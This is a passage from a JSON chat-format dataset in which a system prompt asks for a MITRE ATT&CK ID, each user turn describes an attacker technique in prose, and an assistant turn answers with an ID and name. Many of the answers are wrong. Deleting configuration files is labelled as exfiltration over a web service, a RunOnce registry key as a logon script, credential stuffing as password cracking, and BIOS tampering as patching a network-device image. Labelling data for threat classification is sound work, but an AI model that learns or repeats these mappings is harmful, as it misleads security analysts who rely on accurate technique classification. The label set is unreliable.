                "content": "T1111 - Multi-Factor Authentication Interception"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious binary checks the system's hostname and only runs its payload if it matches a pre‑configured value, aborting otherwise."
            },
            {
                "role": "assistant",
                "content": "T1480.001 - Execution Guardrails: Environmental Keying"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies a legitimate Windows service to point to a malicious executable, causing the service to indirectly execute the payload during system boot."
            },
            {
                "role": "assistant",
                "content": "T1202 - Indirect Command Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries drop a rogue library into a directory that is regularly scanned by a trusted service, causing the service to load the malicious code at startup."
            },
            {
                "role": "assistant",
                "content": "T1055.015 - Process Injection: ListPlanting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruder signs up for a free email service with a disposable phone number to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1585.002 - Establish Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware installs a proxy server on the victim's machine and updates the environment variables to route all outbound traffic through it."
            },
            {
                "role": "assistant",
                "content": "T1090.001 - Proxy: Internal Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use PowerShell to collect system information, including OS version and installed software, for reconnaissance."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion sets a custom VBA macro in Excel that runs automatically on workbook open and registers a Run key for persistence."
            },
            {
                "role": "assistant",
                "content": "T1137 - Office Application Startup"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The payload uses a custom DNS tunneling client that first resolves its C2 address using a TXT record lookup."
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor leverages Google dorking to discover exposed .env files and then enumerates the disclosed services for further exploitation."
            },
            {
                "role": "assistant",
                "content": "T1596.005 - Search Open Technical Databases: Scan Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors scrape Instagram posts and comments to gather information about company employees and upcoming events."
            },
            {
                "role": "assistant",
                "content": "T1593.001 - Search Open Websites/Domains: Social Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the intrusion, the malicious code invokes the Win32 API 'InitiateSystemShutdownEx' to power off the computer."
            },
            {
                "role": "assistant",
                "content": "T1529 - System Shutdown/Reboot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group modifies the domain trust relationship to include a compromised external domain."
            },
            {
                "role": "assistant",
                "content": "T1484.002 - Domain Trust Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A rogue network device selectively replaces file hashes in transit, causing integrity checks to pass for tampered files."
            },
            {
                "role": "assistant",
                "content": "T1565.002 - Data Manipulation: Transmitted Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor adds a new Outlook rule that launches a hidden PowerShell script whenever a new email is received, ensuring persistence on the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1137.005 - Office Application Startup: Outlook Rules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor extracts NTLM password hashes from memory and uses them directly to access remote services."
            },
            {
                "role": "assistant",
                "content": "T1550.002 - Use Alternate Authentication Material: Pass the Hash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script cycles through a list of possible passwords, attempting each on a remote desktop protocol (RDP) service."
            },
            {
                "role": "assistant",
                "content": "T1110.001 - Brute Force: Password Guessing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware on the domain controller accesses the NTDS.dit file directly and extracts stored password hashes for later use."
            },
            {
                "role": "assistant",
                "content": "T1003.003 - OS Credential Dumping: NTDS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries copy the lsass.exe process image to disk and extract credentials from the dump."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder sends a large number of ICMP echo requests to a MacOS machine, overloading its network interface and causing endpoint denial of service."
            },
            {
                "role": "assistant",
                "content": "T1499 - Endpoint Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware employs the 'ADSI Edit' MMC snap‑in to view and extract trusted domain objects."
            },
            {
                "role": "assistant",
                "content": "T1482 - Domain Trust Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team modifies the system's OS image on the hardware flash to embed a persistent backdoor."
            },
            {
                "role": "assistant",
                "content": "T1601 - Modify System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor buys a zero‑day exploit package on the dark web to target unpatched systems."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Obtain Capabilities: Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware variant also includes a payload that initiates resource hijacking for cryptocurrency extraction."
            },
            {
                "role": "assistant",
                "content": "T1496 - Resource Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a firmware flashing tool to write a custom ROM image that includes backdoor functionality."
            },
            {
                "role": "assistant",
                "content": "T1542 - Pre-OS Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary harvested Kerberos tickets from a compromised host and injected them into a service process to access resources without needing the original credentials."
            },
            {
                "role": "assistant",
                "content": "T1550.003 - Use Alternate Authentication Material: Pass the Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cybercriminals send a targeted email with a URL that, upon navigation, exploits a browser vulnerability to execute code."
            },
            {
                "role": "assistant",
                "content": "T1598.003 - Phishing for Information: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware reads /var/run/docker.sock to retrieve details about all containers on the host."
            },
            {
                "role": "assistant",
                "content": "T1613 - Container and Resource Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware interacted with a cloud storage bucket (AWS S3) to list and download stored logs."
            },
            {
                "role": "assistant",
                "content": "T1213 - Data from Information Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Spyware captures the screen after a user logs in by hooking the GDI functions and stores the bitmap in an encrypted archive for later retrieval."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware reads the browser's cookie store and transmits the session cookie to the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1539 - Steal Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a counterfeit DLL in the system's DLL search path that is prioritized over the legitimate one, enabling code execution when the target process loads it."
            },
            {
                "role": "assistant",
                "content": "T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker modifies the HKCU\\Software\\Microsoft\\Office\\Word\\Addins registry key to point to a malicious DLL."
            },
            {
                "role": "assistant",
                "content": "T1137.006 - Office Application Startup: Add-ins"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uses LinkedIn to search for and compile a list of employee full names within the target organization."
            },
            {
                "role": "assistant",
                "content": "T1589.003 - Gather Victim Identity Information: Employee Names"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary creates a launch agent that monitors login events and spawns a malicious process in response."
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor queries the Azure metadata service to discover available virtual machines."
            },
            {
                "role": "assistant",
                "content": "T1526 - Cloud Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers forged a code signature for a custom backdoor and bundled it with a legitimate Windows service executable, causing security tools to treat the malicious service as trusted."
            },
            {
                "role": "assistant",
                "content": "T1036.001 - Masquerading: Invalid Code Signature"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor configures a mailbox forwarding rule in Exchange to redirect every received message to a malicious server."
            },
            {
                "role": "assistant",
                "content": "T1114.003 - Email Collection: Email Forwarding Rule"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In a stealthy campaign, the malware synchronizes its data exfiltration bursts with peak network usage to blend in."
            },
            {
                "role": "assistant",
                "content": "T1205 - Traffic Signaling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor exploits Windows name resolution protocols (LLMNR/NetBIOS) to harvest NTLM hashes and subsequently performs a relay attack against SMB authentication on a domain controller."
            },
            {
                "role": "assistant",
                "content": "T1557.001 - Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary loads a malicious Office add‑in to achieve persistence on the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1137.006 - Office Application Startup: Add-ins"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code contacts a compromised cloud storage endpoint that acts as a dead‑drop resolver, fetching instructions hidden in image metadata."
            },
            {
                "role": "assistant",
                "content": "T1102.001 - Web Service: Dead Drop Resolver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker compromised a GCP service account and used it to launch additional Compute Engine instances to exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1578 - Modify Cloud Compute Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion team leveraged insecure default credentials on a Microsoft IIS web server to plant a malicious ISAPI filter for persistence."
            },
            {
                "role": "assistant",
                "content": "T1505 - Server Software Component"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group creates a hidden Azure AD application registration to act as a credentialed account."
            },
            {
                "role": "assistant",
                "content": "T1136.003 - Create Account: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat used Regsvr32 with a malformed .exe argument to trigger execution of a hidden payload in memory."
            },
            {
                "role": "assistant",
                "content": "T1218.010 - System Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the intrusion, the actor exfiltrates data by posting it as public GitHub Gists, using the GitHub API to create new gists that contain the stolen information."
            },
            {
                "role": "assistant",
                "content": "T1567 - Exfiltration Over Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A browser exploit triggers the execution of a WebAssembly module that performs cryptomining."
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker accessed a publicly available PDF report from the victim organization, extracting the names and titles of senior management."
            },
            {
                "role": "assistant",
                "content": "T1589 - Gather Victim Identity Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries corrupt or delete critical configuration files to cause system instability."
            },
            {
                "role": "assistant",
                "content": "T1567 - Exfiltration Over Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script downloads a packed executable, which then uses reflective DLL loading to execute the payload."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a stolen authentication token, the attacker attaches to an active Citrix ICA session and performs privileged actions."
            },
            {
                "role": "assistant",
                "content": "T1563 - Remote Service Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A sophisticated malware modifies the BIOS image of a workstation to inject malicious routines that survive OS reinstallations."
            },
            {
                "role": "assistant",
                "content": "T1601.001 - Modify System Image: Patch System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leveraged AWS Lambda's InvokeFunction API to execute arbitrary PowerShell scripts on compromised instances."
            },
            {
                "role": "assistant",
                "content": "T1059.009 - Command and Scripting Interpreter: Cloud API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary fabricates a digital certificate to bypass application control policies on Windows."
            },
            {
                "role": "assistant",
                "content": "T1587.003 - Develop Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker adds a malicious VBA macro to a Word .dot template that runs automatically when the document is opened by the victim."
            },
            {
                "role": "assistant",
                "content": "T1137.001 - Office Application Startup: Office Template Macros"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder accessed Confluence's bulk export API to retrieve all wiki pages, extracting strategic roadmaps and financial data."
            },
            {
                "role": "assistant",
                "content": "T1213.001 - Data from Information Repositories: Confluence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign delivers a script that, once executed, registers a new logon script in the registry key HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce, ensuring execution at next logon."
            },
            {
                "role": "assistant",
                "content": "T1037.001 - Boot or Logon Initialization Scripts: Logon Script (Windows)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider revokes the logging role in a multi‑cloud environment, effectively stopping log collection across AWS, Azure, and GCP."
            },
            {
                "role": "assistant",
                "content": "T1562.008 - Impair Defenses: Disable or Modify Cloud Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Automated login attempts are made against a corporate VPN portal using a list of previously compromised credentials, aiming to discover valid accounts."
            },
            {
                "role": "assistant",
                "content": "T1110.002 - Brute Force: Password Cracking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Trojan establishes a beacon to a command‑and‑control server, then periodically pulls encrypted payloads in separate stages to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1104 - Multi-Stage Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker crafts a counterfeit invoice email that includes a malicious attachment, urging the finance team to open it and provide bank account details."
            },
            {
                "role": "assistant",
                "content": "T1598 - Phishing for Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion uses a compromised account to install a service that automatically runs a credential dumping tool each time the host restarts."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware replaces the VDSO function pointers to perform process injection without triggering typical detection mechanisms."
            },
            {
                "role": "assistant",
                "content": "T1055.014 - Process Injection: VDSO Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential‑stealing tool logs into the victim’s Gmail via IMAP and synchronizes all messages to the attacker’s machine."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor exploits a zero‑day in the hybrid identity synchronization service to replace legitimate Kerberos tickets with crafted ones, thereby altering the authentication process for both on‑prem and cloud resources."
            },
            {
                "role": "assistant",
                "content": "T1556.007 - Modify Authentication Process: Hybrid Identity"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code invoked \"cmd\" to run \"netstat -ano\" for active network connections and process IDs."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign harvests application tokens from users and reuses them to access corporate resources."
            },
            {
                "role": "assistant",
                "content": "T1550.001 - Use Alternate Authentication Material: Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After compromising a cloud service account, the threat actor tunnels traffic through the service to reach on‑premises systems behind the firewall, effectively bridging the external and internal network boundaries."
            },
            {
                "role": "assistant",
                "content": "T1599 - Network Boundary Bridging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware clears the list of mounted network drives to hide its persistence mechanism."
            },
            {
                "role": "assistant",
                "content": "T1070.005 - Indicator Removal: Network Share Connection Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A file‑less payload used Windows API calls to read the MAPI store directly from memory and exfiltrate emails."
            },
            {
                "role": "assistant",
                "content": "T1114.001 - Email Collection: Local Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages hidden sections of DLL files to store and later load malicious code."
            },
            {
                "role": "assistant",
                "content": "T1027.009 - Obfuscated Files or Information: Embedded Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary exploits the Google Cloud Pub/Sub API to trigger a Cloud Function that executes a Bash script."
            },
            {
                "role": "assistant",
                "content": "T1059.009 - Command and Scripting Interpreter: Cloud API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code captures the ASP.NET authentication cookie from the browser memory, decodes it, and uses it to authenticate as the legitimate user."
            },
            {
                "role": "assistant",
                "content": "T1606.001 - Forge Web Credentials: Web Cookies"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor exfiltrated a private key from a CI/CD pipeline and used it to sign backdoor executables."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Subvert Trust Controls: Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential-stealing trojan hooks the SetWindowsHookEx function to capture user input from all visible applications."
            },
            {
                "role": "assistant",
                "content": "T1056.002 - Input Capture: GUI Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT exploits a vulnerable Exchange server to pivot to other machines."
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
